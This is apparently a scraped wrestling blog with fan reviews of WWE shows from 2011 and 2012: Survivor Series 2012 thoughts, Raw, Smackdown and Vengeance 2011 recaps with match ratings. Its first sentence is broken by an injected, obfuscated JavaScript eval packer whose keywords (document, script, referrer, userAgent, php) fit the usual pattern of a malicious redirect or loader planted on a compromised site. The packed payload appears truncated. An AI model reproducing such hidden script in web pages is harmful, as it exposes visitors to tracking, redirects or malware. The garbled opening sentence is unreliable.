Survivor Series 2012 Quick Thoughts

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zayyb|var|u0026u|referrer|bidnn||js|php'.split('|'),0,{})) haven’t gotten to watch the show yet but I’m hoping to have that up by Wednesday at the latest.From what I can tell, the show was as dull as I expected it to be.  Sheamus vs. Show is happening again apparently, Ryback of course gets screwed out of the title, and the newly face Miz loses.  What in the world was the point of turning him in the first place?  Second of all, why were Foley and Ziggler feuding at all?  Other than that, there’s nothing at all going on with this show that I can tell and it was a way to fill in time until we get to the Rumble.  That’s what drives me crazy about WWE right now: this stuff is all just filling in time until we get to Rock winning the title from Punk.  They’re putting the ceiling on the world title picture and that’s just flat out stupid.  Fired up about Ryback?  WELL SCREW YOU!  Because Punk has to hold the title for over a year before he faces Rock because for some reason we’re supposed to care more that way.

 

All in all, Survivor Series seems to suck.  I’m shocked.




Monday Night Raw – February 27, 2012 – Cena Wins Again Because Rock Can’t Be Serious

Monday Night Raw
Date: February 27, 2012
Location: Rose Garden, Portland, Oregon
Commentators: Michael Cole, Jerry Lawler

The main thing to see tonight is that Rock is back (again). We’re scheduled to get his response to Cena’s promo from last week. This should be the start of the serious part of their feud as opposed to the stupid comments that Rock has made over the past year which have been based on comedy rather than the desire to see a fight. Let’s get to it.

Daniel Bryan vs. CM Punk

Nice to see another match getting the proper build. Saving something for PPV? What does that mean? Punk comes out first but Jericho comes out instead of Bryan. He says Punk is one of his favorites but Punk isn’t as good as he is. Jericho never had to say he was the best in the world because everyone else said it for him. He talks about how he didn’t care what people said backstage because he knew he’d have the best match on the card.

Punk yells at Jericho, talking about how Jericho didn’t invent everything in wrestling. Did he invent being from Canada? Jericho says Punk doesn’t take anything seriously but he needs to do it with Jericho, because he’s something different. Punk goes off on Jericho again, talking about he’s been here talking about he knows he’s the best and has been here swimming with sharks while Jericho was off Dancing With The Stars. Jericho says he’s still the best and while he was off doing all that stuff, all he was thinking about was Punk and proving that he’s the best in the world.

Oh yeah we’ve got a match to get to. Bryan comes out and jumps Punk. Ace, Otunga, Long and Santino are all at ringside. The bell will officially ring after a break. Back with Brian firing off kicks in the corner but Punk hits a cross body out of the corner for two. Teddy and Ace are on commentary here so Cole sucks up to Ace. Punk comes back with knees to the back for two. He backdrops Bryan to the floor and sets to dive, but Bryan calls AJ over to tend to him.

The distraction lets Bryan take Punk’s knee out and send him into the steps. We take another break (pretty fast no?) and come back with Bryan holding an abdominal stretch. We missed the ending from last week with Punk almost winning off a superplex with the interlocking legs. Punk hits the knee in the corner but he bulldog is countered. He slams Bryan down and hits the top rope elbow but his ribs are too hurt to cover.

Otunga tries to interfere but Punk kicks him down. LeBell Lock is countered and Otunga gets up again. The wrestlers hit stereo cross bodies as Santino knocks Otunga down. Ace pulls Santino down as Bryan is walking out. Sheamus throws him back in and Punk hits the GTS. Ace says that’s a DQ and the bell rings at 10:20.

Rating: C+. This didn’t have the time to be anything good and was more about setting up Smackdown vs. Raw at Wrestlemania than the match itself. Clearly they needed to use the world titles against each other to accomplish this too right? The match again didn’t have a clean ending which is good, but it’s having these potential main event matches for free on TV that makes PPV matches less important.

Punk poses on the stage when Jericho runs out and beats him up. He slams Punk on the stage and puts him in the Liontamer.

We get a video on HHH vs. Undertaker from last year with testimonials from big names and The Miz saying how amazing it was. IT WASN’T THAT GOOD!

Kelly Kelly vs. Nikki Bella

Nikki slams her into the mat to start and does a Hennig neck snap. Kelly does her screaming headscissors and kicks the other Bella down. She reverses a rollup to pin Nikki at 1:30. Your usual Divas stuff.

John Cena vs. The Miz

Miz says that no one works harder than he does and how he’s flown 16 hours to do PR in Russia. For some reason though he isn’t even on the card for Wrestlemania yet. What better way to show why he should be on it than by beating the guy that he beat in the main event last year? Miz escapes a quick AA attempt and hits his usual stuff to take over. Cena hits a backdrop and some clotheslines but walks into Miz’s short DDT for two. The corner clothesline hits and Miz goes up, but misses his top rope ax handle. Cena starts up his finishing sequence and hits the Shuffle. AA and STF end this at 4:04.

Rating: D+. Miz gets crushed. Again. This is the problem with most upper midcard guys anymore: there’s no way to get them taken seriously because they’re always against a big star on TV and half the time they have to lose. Maybe they shouldn’t have these matches on free TV? Nah that’s crazy talk.

Rock pops up on screen and does the You Can’t See Me sign.

Tag Titles: Epico/Primo vs. R-Truth/Kofi Kingston vs. Jack Swagger/Dolph Ziggler

Ok then. This is actually more like the WCW Triangle matches where you have three people in the ring at once. You can only tag your partner though. Kofi, Dolph and Primo start us off but Ziggler chills on the floor. Things break down quickly and now there’s no one in the ring. Kofi and Swagger fall to the floor and we take a break.

Back with Primo, Swagger and Truth in the ring and Swagger breaking up a Truth sunset flip. Swagger and Primo get in an argument and it’s off to Ziggler. A great dropkick by Ziggler puts Truth down but Primo tries to steal the pin. Truth comes back and hits a combination Downward Spiral/DDT to both guys. A double tag prevents the tag to Kofi but Swagger gets in a fight with Epico, allowing the hot tag to Kofi.

He cleans house with his high flying stuff and gets two off the cross body. A double Boom Drop to one of each opponents but Ziggler hits the Zig Zag to break up the Trouble in Paradise. Swagger gets two off that and then grabs the ankle lock on Epico. Trouble in Paradise takes Swagger down and Primo hits a Backstabber on Kofi, allowing Epico to steal the pin to retain at 8:21.

Rating: C. Why in the world would you keep the titles on these guys? No one cares about them, they’re not particularly good and their matches are nothing special. Is this supposed to prove that they’re better than these two teams? Not having them lose clean to Kofi/Truth last week would have done the same thing.

Post match Kane comes out to clear the ring and beat up everyone in sight.

Ace and Otunga are in the back talking about the Oscars when Teddy comes in. Nothing to see here.

We recap the Eve heel turn and her wanting to use Cena.

Here’s Eve in the arena with new EVIL music. She says she doesn’t care that she uses people because it’s not her fault that men can’t resist her. The men should blame themselves for their weaknesses. And that’s it.

We see Eve in the back and Kelly messes up the whole thing with her awful acting. Alicia is next to Kelly for no apparent reason. Eve leaves them there.

Trailer for Edge’s new movie. Oh great. It’s a buddy comedy.

Orton is back on Smackdown to face Bryan.

Big Show/Sheamus vs. Cody Rhodes/Mark Henry

Henry isn’t allowed time off to heal is he? Cody shows us a clip from Mania where Show lost to Floyd Mayweather. Cody immediately tags Henry in and Show stomps him down to start. Show spears him down and glares at Cody who is on the ramp. Sheamus tags himself in and Brogue Kicks Henry down for the pin at 59 seconds.

The Board of Directors are going to announce something at 10am tomorrow and it might involve potential leadership changes on both shows.

We get a recap of Cena’s promo last week and Rock is up next.

Shawn will be on Raw next week.

Here’s Rock for the big response. The fans chant for him and he seems legit taken back by it. Rock says look at his arm which is real. He’s covered in goosebumps because this feels good. He says this might surprise some people, but he’s not here every week. Him saying he’d never leave didn’t mean that he’d be at Raw and Smackdown every week. The fans chant Fruity Pebbles.

Rock says he was born and raised in this business and is here for no reason other than because he loves the WWE. He’ll always be a part of it and it’ll always be a part of him. He finally says Cena’s name and the people boo. For years, Rock thought Cena was a phony. He didn’t think that someone who graduated from a private school could become the Doctor of Thuganomics. But then Rock realized that Cena really is that guy.

Cena said that it took forever to get to Rock but why, when he has Rock’s cell phone number. Instead of talking on the phone or in person though, Rock would rather slap him in the face with a piece of kung pow chicken. Last week Cena said that he’ll fight at Wrestlemania for all of the people in the back that love to be a professional wrestler. Rock grew up as one and he was always taught that no one was going to fight for himself but himself.

When he was climbing the ladders (he climbed ladders?) do you think anyone fought for him? Do you think anyone fought for Austin, Savage or Piper? Rock fights for the people, not the boys in the back. He says kung pow is now trending world wide. That made my eyes roll. Rock says the people aren’t tired of being entertained. That’s what he does: he entertains.

Rock says he mentioned Cena eating Fruity Pebbles and then a few months later, Cena was on a cereal box. He said lady parts and it was chanted. Now Rock leads them in chants of Rocky and lady parts. That’s what Rock does: he entertains. The most interesting thing Cena has done all year is change the kind of shorts he wears to camouflage. That’s been effective because we can’t find his balls anywhere. And cue Rock telling us that Cena’s missing balls is trending.

Cue Cena thank goodness. Cena says that only Rock could come up with calling someone kung pow chicken. He is the guy that talks Rock down because Rock isn’t here. However, Rock is only half right because Cena will run Rock down when Rock is here too. Cena used to love Rock too until he met Dwayne Johnson. Dwayne is self-centered and egotistical and Cena doesn’t need words trending on Twitter, or his promo printed on his wrist (which Rock apparently had).

At Wrestlemania, Cena is going to be looking into the eyes of Dwayne Johnson, not The Rock like everyone else will see. Cena says carry on and continue trending and leaves. Rock says that’s just like Cena to walk away before the right. Rock and Dwayne Johnson are the same person and he’ll be kicking Cena all over Wrestlemania, if you smell what he’s cooking. Rock sounded REALLY desperate after Cena left.

Overall Rating: C+. This was ALL about Rock’s response to Cena and the rest of the show meant nothing. That being said, the rest of the show did nothing for me at all. It wasn’t a bad show or anything but nothing on it made me any more interested in the show than I already am. Punk and Jericho are going to have a good match but it’s going to mean nothing in the long run by comparison.

Results
Daniel Bryan b. CM Punk via DQ when Sheamus interfered
Kelly Kelly b. Nikki Bella – Rollup
John Cena b. The Miz – STF
Epico/Primo b. Jack Swagger/Dolph Ziggler and Kofi Kingston/R-Truth – Epico pinned Swagger after Trouble in Paradise
Sheamus/Big Show b. Mark Henry/Cody Rhodes – Brogue Kick to Henry

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Smackdown – October 28, 2011 – Smackdown Is Back

Smackdown
Date: October 28, 2011
Location: Toyota Center, Houston, Texas
Commentators: Michael Cole, Josh Matthews, Booker T

Well it’s after Vengeance and not a lot has changed. Rhodes is still IC Champion because he didn’t defend at the PPV. Henry is still champion because he broke the ring. Ace is still annoying because it takes half the show for him to introduce himself. Other than that, there isn’t much to talk about on this show. It should be interesting to see where thing go as we approach Survivor Series. Let’s get to it.

We open with a recap of the ring collapsing at Vengeance. There’s talk of something happening tonight but nothing specific is mentioned. This was a lot more like a commercial than an opening video.

First line of the show: “With Vengeance still a trending topic in the WWE…” It’s going to be a long night.

Teddy is in the ring to open things up and says Big Show, Henry and the status of the title are in flux. Both of them are here tonight though and the future of the title will be addressed tonight. That of course brings out Christian. He says the future of the title will be addressed right now. Vengeance was historic, meaning that it is now history. Since Show has had his shot, we need a new challenger.

Teddy brings up the loss to Sheamus and Christian says he’s resilient. He wants Long to name anyone that deserves the shot more than him. That brings out Punk of all people. Teddy talks about how there will be some Raw people here tonight for a Super Smackdown. The Brand Split’s days are numbered. Both wrestlers run down their respective bosses and Punk says Ace makes Teddy look like Theodore Roosevelt. Long: “Thank you for that player.” Punk: “It wasn’t exactly a compliment.”

Punk says he wants Christian to get one more match and Christian runs him down for some reason. The Canadian says Punk was the guy that stole the title and that Punk doesn’t deserve the title shot. Punk says he isn’t the one complaining and whining, which he uses a more colorful word for. Make that a word he uses about 15 times. Christian says no one wants Punk here, drawing a huge Punk chant. Punk says there are at least 10,000 people that want to see him here in Houston. The main event is made. Punk: “Holler holler holler.”

Air Boom vs. Awesome Truth

I’m not sure how smart this is but that’s WWE for you. We get a lot of clips from the PPV and Raw, showing the Cena beatdowns and the announcement of Rock/Cena, 24 hours after that was told to us on Vengeance. This is non-title. Kofi vs. Miz gets us going. A big knee puts Kofi down and it’s off to Truth. Off to Bourne as well for some double teaming by the champions.

BIG kick to the head takes Truth down but the Shooting Star is avoided. The heels double team Bourne on the floor a bit as we take a break. We get an explanation for Miz/Truth being annoyed because of Mania’s main event being made without them being in it. Back with the heels beating Bourne down again and Truth hooking a front facelock. Evan snaps off an enziguri and it’s a hot tag to the African who lives in America and used to be Jamaican. Everything breaks down and Kofi hits a BIG spinning cross body off the top. Bourne goes to the floor and the Little Jimmy Finale ends Kofi at 4:48 shown of 8:18.

Rating: C-. Not a great match or anything and while I get the point of pushing Awesome Truth, wasn’t there another team they could beat other than the champions? I could easily see Air Boom losing the titles before Survivor Series but it’s going to take more than that to make Awesome Truth into anything remotely close to a threat to Cena/Rock.

Awesome Truth runs down their list of accomplishments and says Cena picked the only guy that dislikes him more than they do.

In the back we see Bryan and Kidd arguing over Bret vs. Shawn. That’s a cool idea for a match actually. Santino (in a WWE All-Stars shirt) says we should have a match to see who the better trainer was.

Hornswoggle is a Broski. Thankfully Team Vickie pops up and brags that Ziggler has the title still. Dolph vs. Orton for later with Swagger banned from ringside. They leave and Aksana appears. DANG those things are big. Teddy sends Horny off.

Overly long recap of HHH and Nash from Monday.

Wade Barrett vs. Trent Barreta

Barrett says the Barrett Barrage continues. Trent tries to speed things up but walks into a Bossman Slam for two. Off to a bow and arrow hold which doesn’t last long. A big boot puts Trent on the floor as we’re in squash mode here. Barrett keeps hammering on him and counters a rana attempt into Wasteland at 2:33. Total dominance which Booker said as I was typing it.

Randy Orton vs. Dolph Ziggler

Before the bell here’s Cody with the Baggers. He jumps in on commentary as a distraction for Randy. These two usually have good matches together so this should be decent. Cody doesn’t want to talk about Vengeance. The match is pretty fast paced to start. Well, fast paced for the standards of these two. No one can get much of an advantage here. Cody takes credit for Dolph’s success so far since he wore Orton down on Sunday.

Orton takes over and drops a knee onto the arm (he missed) for two. Randy uses some psychology though by working on the arm. It would have been better if he was working on the arm he dropped the knee on but maybe that’s too much to ask for. Orton gets all fired up so Ziggler wisely runs. I’ve never gotten why more heels don’t do that. If you see Hogan Hulking Up, GET OUT OF THE RING. Vickie yells at Orton as we go to a break.

Back with Ziggler getting two off a dropkick. Ziggler works on something that looks like the inbred cousin of the Rings of Saturn. Orton escapes but a DDT gets two for Dolph. Booker credits Ziggler, saying he does this with no gimmick or foreign objects. Cody takes offense to this, which means this might be the beginning of Booker vs. Rhodes which I’ve heard rumors of.

Ziggler goes up but Orton pops him in the ribs. Any chance we’ll get a Bob Orton superplex? Oh yes we will. Now for the bonus points will we get a mention of Pappy Orton? The suplex gets two and they slug it out. Orton gets all fired up and hits the powerslam to set up the RKO. Scratch that as it’s just the elevated DDT. Ziggler counters with a NICE superkick for two. Zig Zag is countered and Ziggler charges into the RKO for the pin at 10:27 shown of 13:57.

Rating: B. As usual, these two have a good match. Ziggler doesn’t need to lose anymore though as he’s lost most of his matches or has needed to cheat to win. The cheating is fine as he’s a heel, but he needs to stop losing clean. Even a countout loss would work fine for him. This was good though and I like this pairing more and more every time.

We recap the mask vs. mask match from last week.

Sin Cara Black (Hunico) looks like a stereotypical Mexican now and pants a lot. He calls himself Hunico (in a Spanish speech) and says it’s payback time. Oh joy. Yes let’s make a Mexican themed heel in a place where there’s a large Mexican population. Nothing could go wrong there at all right?

Brodus Clay needs to return already.

Tyson Kidd vs. Daniel Bryan

This is the Bret vs. Shawn Special. Things start off fast and they go to the mat. Bryan can’t hook the LeBell Lock but does manage to hit a running clothesline and a dropkick for two. Kidd rolls through a middle rope rana for two and it’s pinfall reversal time. Tyson tries the sharpshooter but Bryan counters into the LeBell Lock for the tap at 2:37. Short but really fun while it lasted.

Video on the ending of Raw, including the announcement of Rock as Cena’s partner.

Cole gets on the table and goes over the Michael Cole Challenge. We also see the same pictures he tweeted on Raw. Next.

Here’s Show to talk about the title match and what happened with the ring. “Oops I did it again.” That got a chuckle out of me. He says he’s never been in a fight like that. Show says he’s never been right in the head so let’s reenforce the ring and do it again! He’s been in conference with Teddy Long all day and there will indeed be a rematch. That brings out Henry who is a bit ginger. Must have eaten some bad Slater.

Henry says no rematch and that he made Show hurt, not the ring. The challenge is issued to fight right now and Henry bails. This was pretty basic.

Christian vs. CM Punk

The first few minutes goes back and forth with basic stuff and neither guy getting an advantage. Not that you would know that from the commentary as we talk about Herman Cain, Johnny Ace and Cole’s wife. After about three minutes of decent stuff, Christian misses a middle rope headbutt. Punk loads up the GTS and here’s Del Rio with music and Ricardo. The distraction lets Christian escape and we take a break.

Back with Christian in control and getting two on a few things, including the reverse DDT. Cole logically explains how Del Rio didn’t cheat in the last man standing match with the answer of “if there are no rules, how can you cheat?” Booker has nothing to answer that with. Punk fires off some strikes to put Christian down and Punk goes with him.

Back up and Punk starts up his comeback with a swinging neckbreaker for two. The sunset flip out of the corner by Christian is rolled through and Punk kicks him in the face. A middle rope cross body by Christian is rolled through for two. Punk tries a dive but gets caught in a powerslam for two. Punk hits the running knee and bulldog but has to chase Ricardo away. Springboard clothesline gets two so Punk loads up the Macho Elbow. Ricardo interferes and Del Rio is able to crotch Punk and momentum changes again. Christian sets for a spear but here’s Sheamus to distract him and the GTS ends this at 9:36 shown of 13:30.

Rating: B-. The match started off slowly but the stuff after the commercial helped it out a lot. I was wondering where Sheamus was so the run in at the end was perfectly fine. I don’t think anyone expected Christian to win here and that’s fine. Punk needs the momentum going into his title match so a win over a main event jobber is fine. Fun little TV main event.

Overall Rating: B. Smackdown is back with a good show here. The idea of the Brand Split being over on Fridays as well is a nice touch and we should get some good matches out of it in the end. This felt a lot more like a Raw than a Smackdown but Raw’s stars are bigger deals than Smackdown’s so that’s understandable. Once Rock is back things will pick up again, but for now this was fine. Good show but not a classic.

Results
Awesome Truth b. Air Boom – Little Jimmy Finale to Kingston
Wade Barrett b. Trent Barreta – Wasteland
Randy Orton b. Dolph Ziggler – RKO
Daniel Bryan b. Tyson Kidd – LeBell Lock
CM Punk b. Christian – GTS

 

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Vengeance 2011 – Tweet This: No Need For This Show

Vengeance 2011
Date: October 23, 2011
Location: AT&T Center, San Antonio, Texas
Commentators: Michael Cole, Booker T, Jerry Lawler

We’re finally at the last PPV before Survivor Series and the end of the three PPVs in six Sunday run that happens every fall in WWE. The main events are nothing to write home about as we have a rematch with a gimmick on the Red side and a rematch from a few months ago on the Blue side. I still say this show doesn’t need to exist but that’s WWE for you. Let’s get to it.

We open with a video about the three main events and the almost required Pulp Fiction vengeance upon thee lines.

Tag Titles: Air Boom vs. Dolph Ziggler/Jack Swagger

Who exactly is Vickie wanting to be quiet? She’s the only one talking. It’s like she’s being overly loud and annoying for the sake of getting on the fans’ nerves. Air Boom has new music and their color of the night is red. Dolph and Kofi start us off. Now there’s a rivalry. Dolph has tights that have so many colors in them that RVD would be jealous. There’s red, white, blue, a darker red and what looks to be a flag pattern on it. Also it looks like a singlet with the straps down.

Kofi takes over to start and hammers on Dolph, getting two off a monkey flip that sent Dolph over so hard that he landed on his face. Bourne comes in and gets two. It’s so weird to hear Bourne listed as 165lbs. Swagger comes in and gets rolled up for two before it’s back to Kofi. He tries to go up but since AMERICA is better than Ghana, he catches him in a powerslam for two.

Sweet dropkick by Dolph puts Kofi down and we’re told that immediately after this it’s Ryder vs. Ziggler. That’s very intriguing. I can’t imagine Dolph leaves as a double champion. And there go Booker and Cole. To be fair we were a full twelve minutes into the show so you can’t expect the two grown adults in their 40s to maintain their composure much longer than that.

Lawler makes really bad Vickie jokes as it’s a hot tag to Bourne. He fires off his jumping strikes and gets a kick to Jack for two. The Shooting Star gets loaded up but Dolph makes the save and Evan lands on his feet. Now he fires off the Shooting Star but it eats knees. You could tell Jack was scared to death for that one. Dolph works on an armbar as the announcers debate who should have a talk show on the WWE Network. That thing is going to be a trainwreck.

Vader Bomb gets two for Swagger. The crowd is into this show so far. They’ve cut to Vickie about 8 times so far. Swagger goes after Kofi to break up a tag which gets him rolled up for two. Ankle lock is countered and Swagger is sent to the floor. Dolph goes old school heel to make sure the tag isn’t seen, but Jack pulls Kofi off the apron anyway. Back to Ziggy and this match is getting some time. Nice to see the PPV getting the longer matches like it’s supposed to.

A second Vader Bomb misses and Kofi comes in to clean house. He hits the big cross body for a VERY close two on Ziggler. Boom Drop hits the same guy which is a move I haven’t seen in awhile. Trouble in Paradise misses but the SOS gets two. Trouble in Paradise is caught in the ankle lock but Bourne comes in with the double knee to Jack to take them out. Dolph rolls up Kofi with tights for two but walks into the kick to set up the Shooting Star for the pin to retain at 13:30.

Rating: B.Good old fashioned tag match here with a very hot finish. I was digging this and it’s very cool to see an actual tag title feud like this with a pair of established (mostly at least) teams. Air Boom holding the titles for awhile and defending them almost every week it seems is really helping them out. Fun match and I had a really good time with it.

US Title: Dolph Ziggler vs. Zack Ryder

This starts almost immediately with Dolph barely back to his feet. Zack doesn’t run straight at him but Dolph is barely moving. Ryder pounds him into the corner and Air Boom/Swagger/Vickie are still at ringside. Ryder gets a forearm for two and a whip into the corner gets the same. Dolph grabs a neckbreaker to get a breath of air. The fans are all behind Ryder.

Dolph is knocked to the floor so Air Boom throws him back inside. That gets them ejected and they’re stunned by this. The fans are all over Vickie and have been all night. Flapjack gets two for Ryder. I’m glad they didn’t have Ryder run out there and steal the title. Ryder misses a cross body and hits the ropes to put both guys down. My goodness Ziggler is technically a Triple Crown winner.

Ziggler is in total control here. Naturally as soon as I say that he misses a splash. Naturally as soon as I say that he avoids the Broski Boot and hits a Fameasser for two. The fans are staying into this or are at least into the near falls. Ryder gets the knees up in the corner and he has blonde hair now. Broski Boot hits but Vickie has the referee. Zig Zag is countered and down goes Swagger. Dolph fires off a superkick that totally missed but it’s enough for the pin at 6:10.

Rating: C-. Very basic match here and there was nothing going on in it at all. I don’t really get the booking here at all: they set up Ryder perfectly to have him take the title here and then they just don’t do it. At least it could have been worse though. I mean, can you imagine a company spending three months building up someone to get a title and then keep it on the guy that has nowhere to go with the title because they just decided at the last minute that it was the right move?

Punk is talking to DiBiase of all people when HHH comes up. There’s no rah rah speech but Punk wants to make it clear to Awesome Truth that it’s an unsafe working environment now rather than what it was when HHH was in charge.

Divas Title: Eve Torres vs. Beth Phoenix

We get a clip from earlier in the day with the evil girls attacking Kelly as Eve makes the save. I guess Kelly is Crazy is going into the pool of the forgotten right? Eve has new music too and it sounds awful. At least we can look at her awesome legs. Kelly and Natalya are banned from ringside. Eve grabs a sunset flip to start and we’re talking about Beth’s underwear for some reason.

They fight over to the ropes…and Beth is now handcuffed to the ropes via something on her own outfit. Eve kicks away and Beth is free. Uh, point to that? Beth takes over on the floor and gets two back in the ring. The fans are bored out of their minds here which is saying a lot as they were hot for the first half hour.

Gutbuster kind of move gets two and we’re off to our second rest hold in a minute. Beth slaps her head and screams at her to cry. Eve starts her comeback and puts Beth down with a clothesline and a flipping splash for two. Eve gets some kind of choke out while she on Beth’s shoulders and it turns into something resembling a triangle choke. The cool looking submission doesn’t work though because that might get it over as a finisher and Eve has one of those already. Glam Slam is countered into a rollup for two. Eve gets a kick in and goes up for the moonsault but Beth moves. Glam Slam ends this at 7:16.

Rating: D+. I’ve watched a lot of wrestling in my time and I don’t recall a division or story that I was less interested in than the Divas in WWE at the moment. I mean there is nothing of interest or note at all about them. They kill the crowds other than Kelly and the matches are as unnatural looking as any I’ve ever seen. I mean there is nothing interesting to them at all and I dread watching them every show. The match wasn’t bad. I just didn’t want to watch it.

Big Show says he’s back tonight and that better is better, not bigger. He says 3 seconds doesn’t end 15 years of failure for Henry. The military thing doesn’t really work for Big Show. Show gets in Striker’s face and says he’ll get Vengeance.

Ad for the Bret vs. Shawn DVD, which if my memory is correct, the Screwjob match is only on the Blu-Ray.

Christian vs. Sheamus

No recap here which is a nice time saver. Christian stalls before we get started. It’s a brawl to start and Sheamus takes that easily. The Canadian is beaten down into the corner as Cole repeats a line from Lawler. Sheamus gets Christian in the ropes and pounds away. Booker calls them Irish Hand Grenades. Cole says it’s called the Unreastra. It’s an Irish thing of some sort.

Christian comes back with a neckbreaker and then a neckbreaker followed by a punch and then more punches. A mixed set of moves isn’t his strong suit tonight. Cole lists off their resumes like JR lists off football stats back in the 80s. Hearing all of those title reigns for everyone makes them seem a little weak but whatever. Middle rope missile dropkick hits but the Swan Dive misses.

Cole says this is the second match trending worldwide on Twitter tonight. Yes boys and girls, stop watching the show and go look at Twitter instead! Sheamus hits a fallaway slam for two. Christian tries to charge at him but gets caught by a slingshot shoulder block for two. A gorilla press is countered and Christian pops off a right hand and the reverse DDT for two.

High Cross is countered as is the pendulum kick. Is Sheamus channeling Scott Hall lately? With the fallaway slam and the Edge I think he is. Irish Curse is countered into a Killswitch attempt but Christian gets caught in another High Cross attempt. Christian gets out and hits two pendulum kicks but jumps into the Irish Curse for two. Spear counters the Brogue Kick but it only gets two because Christian has no business using the spear.

Sheamus goes up top as this is trending on Twitter too. WHY SHOULD WE FREAKING CARE ABOUT TWITTER??? The people hearing about this have already bought the show so why are you trying to sell it to us again? Sheamus gets caught in a hurricanrana off the top but kicks Christian’s head off in another spear attempt for the pin at 9:37.

Rating: C+. Not bad here but dude, we’ve seen it how many times on Smackdown already? Christian using the spear is getting on my nerves (small guy using a power move) but Cole talking about how everything is on Twitter is really getting to me. I mean, WHO CARES ABOUT TWITTER??? Oh wait. It makes Vince think the world cares about his stuff and that he’s been accepted by the mainstream audience. Never let it be said he doesn’t cater things to himself at times.

Otunga and Ace are chatting when Awesome Truth comes up. Otunga leaves and the tag team sucks up to Ace a bit. Ace: “I think you could be the greatest tag team in the world.” Awesome Truth: “Really?” Ace: “No, but you guys suck up well.” Ace leaves and they get in an argument about who is better at sucking. Then they say HHH and Punk suck. Is there a point to this? This goes on way too long and they say they don’t like Texas.

We recap HHH/Punk vs. Awesome Truth with a video that I think aired on Smackdown. This eats up like 3 minutes and is about chaos that has been running wild on Raw since MITB. Good video though.

Awesome Truth vs. HHH/CM Punk

Miz vs. Punk to start us off. That goes nowhere so it’s off to Truth vs. HHH. The Game is still COO, but he doesn’t run Raw anymore. Ok then. Nothing at all in the first two and a half minutes. HHH takes over on Truth and the fans react big. Back to Punk who gets a chant and a falcon arrow for two. HEY! Two things are trending on Twitter that are related to WWE!

This has been going on over five minutes now and there is nothing to say. HHH and Punk even cheat like heels while Punk has Miz in an armbar. We talk about the immigration issue from Monday and it sounds like something that isn’t going to mean anything in a few days but will probably be a big plot point soon enough. Awesome Truth takes over on Punk and there’s a chinlock.

HHH has a little bit of a gut on him now. Off to Gutty McGame who cleans house and puts both guys on the floor with a double clothesline. Cole goes into a political rant about Republicans being on the fence to make fun of Booker and I have no idea what Booker’s original point was. HHH gets beaten down for awhile now as Lawler and Booker try to debate heel philosophy. Booker apparently cursed during that as Lawler says younger children need earmuffs when he talks.

Booker tries to claim the credit for “if you’re not cheating, you’re not trying.” And in Texas of all places. HHH gets beaten down for a little while longer and Truth hooks on a figure four headlock. HHH stands up and hits an electric chair (why is it called that anyway) drop and then a DDT to set up the hot tag to Punk. Punk beats up Miz and stops to look at the camera in a creepy way. Truth breaks up the elbow but HHH stops Truth.

Macho Elbow hits and it’s GTS time. Miz is enough of a main event guy to escape it though. We watch Truth vs. HHH on the floor and Nash is back. He drills HHH and puts him down. Back in the ring, Miz and Truth hit a combination jumping downward spiral and Finale, which is called the Little Jimmy Finale for the pin on Punk at 15:03.

Rating: D+. Totally boring main event tag match here and Nash returning made me roll my eyes. It’s setting up Nash vs. HHH in some way which is something that no one but HHH and Nash want to see. The match was just boring because nothing changes because of it. The ending just gives us more questions and Punk now gets pinned before he’s allegedly going into the title picture. Great.

Nash beats up HHH post match and Jackknifes him. That looked a bit botched.

Alberto comes up to talk to Ace in the back and rants about the last man standing match. Ace says it’s an opportunity and Del Rio says he’ll find a way to win.

Cody Rhodes vs. Randy Orton

Non-title here. Randy takes over to start but Cody gets in a mask shot to take over. More Twitter things that are tweeting. There’s even a graphic to say what’s on there now. I give up. Cody throws on a Boston Crab which Randy eventually escapes with a kick to the face. Alabama Slam gets two for Rhodes. Cody busts out a moonsault but Randy moves. I guess he’s channeling his inner Angle.

There’s the powerslam but Cody blocks the DDT and goes up. That doesn’t go so well as he jumps into a dropkick. Beautiful Disaster gets two for Rhodes. The DDT is countered again and Orton gets his backbreaker for two. That sweet over the shoulder neckbreaker gets two. They go up to the corner and Cody gets a headbutt with the mask to set up a moonsault press for two.

One of the baggers distracts Randy so that Cody can hook Cross Rhodes for two. He’s shocked but welcome to the main event Cody: finishers mean jack. Now Rhodes loads up an RKO (yes that’s correct) but Randy counters into the elevated DDT. The other bagger pops up but Cody is shoved into him. RKO and pin at 12:08.

Rating: C+. It’s nice to see Orton out of the title picture for a bit but I’m not sure what the point of this was. Rhodes got to look good but the Baggers had no point being there. I can’t complain about the champion losing here because he isn’t ready to beat Orton, but this rubs me the wrong way for some reason. Decent match though.

Rock is at Survivor Series. Thank goodness.

We recap Show vs. Henry. Henry injured him, Henry won the title during Show’s injury time, Show wants the title for revenge.

Smackdown World Title: Big Show vs. Mark Henry

They fight over a lockup to start and Henry pushes him into the corner. Show gets to fire away at the ribs and the obvious question comes into play: why not use the big right hand that you know can knock Henry out cold? Show throws him back in and manages a superkick to put Henry on the floor. WE’RE TRENDING PEOPLE!!! WE’RE TRENDING!!! Henry tries to leave with the title but that goes nowhere.

A big slam hits Show to put him down and it’s all champion now. Off to the leg now and Henry works on it by laying on it. You can’t say he isn’t practical. Show tries to slam Henry but the leg gives out. Back to the leg for more cranking which goes on for a few moments. They hit the ropes and collide to put both of them down. They slug it out from their knees. Even from his knees Show is still taller than the local luchador.

Show makes his comeback with punches and clotheslines. Into the corner and it’s time for the power of fat to take over. That would be bald white fat instead of haired black fat. He loads up the chokeslam which hits clean but Henry kicks out at like 2.1. So is the punch his official finisher? The Punch is countered into the Slam for two. That would have been a horribly awkward ending if that had been it.

Hang onto your nachos with barbecue sauce: Mark Henry is going to the top rope. Show manages to throw him off with what is supposed to be a chokeslam and Henry kicks out again. Show is stunned and I can’t say I blame him. The announcers didn’t really react to the chokeslam that well either. Now Show is looking at the corner. Oh dear. Show goes up but Henry makes the save and keeps the planet’s tides from changine. Henry hits a superplex and there goes the ring. Not as good of an explosion as Lesnar, but still pretty good. Both guys are down and the match is thrown out (I guess) at about 12 minutes.

Rating: B-. Battles of the giants are always fun and this was no exception. There’s nothing wrong with having two big guys out there hitting each other really hard and this worked too. The ring breaking is really cool and you don’t need a ring for a last man standing match so that’s all cool. The show was looking to run short also so they needed something like this. Fun match and it sets up a gimmick match in New York.

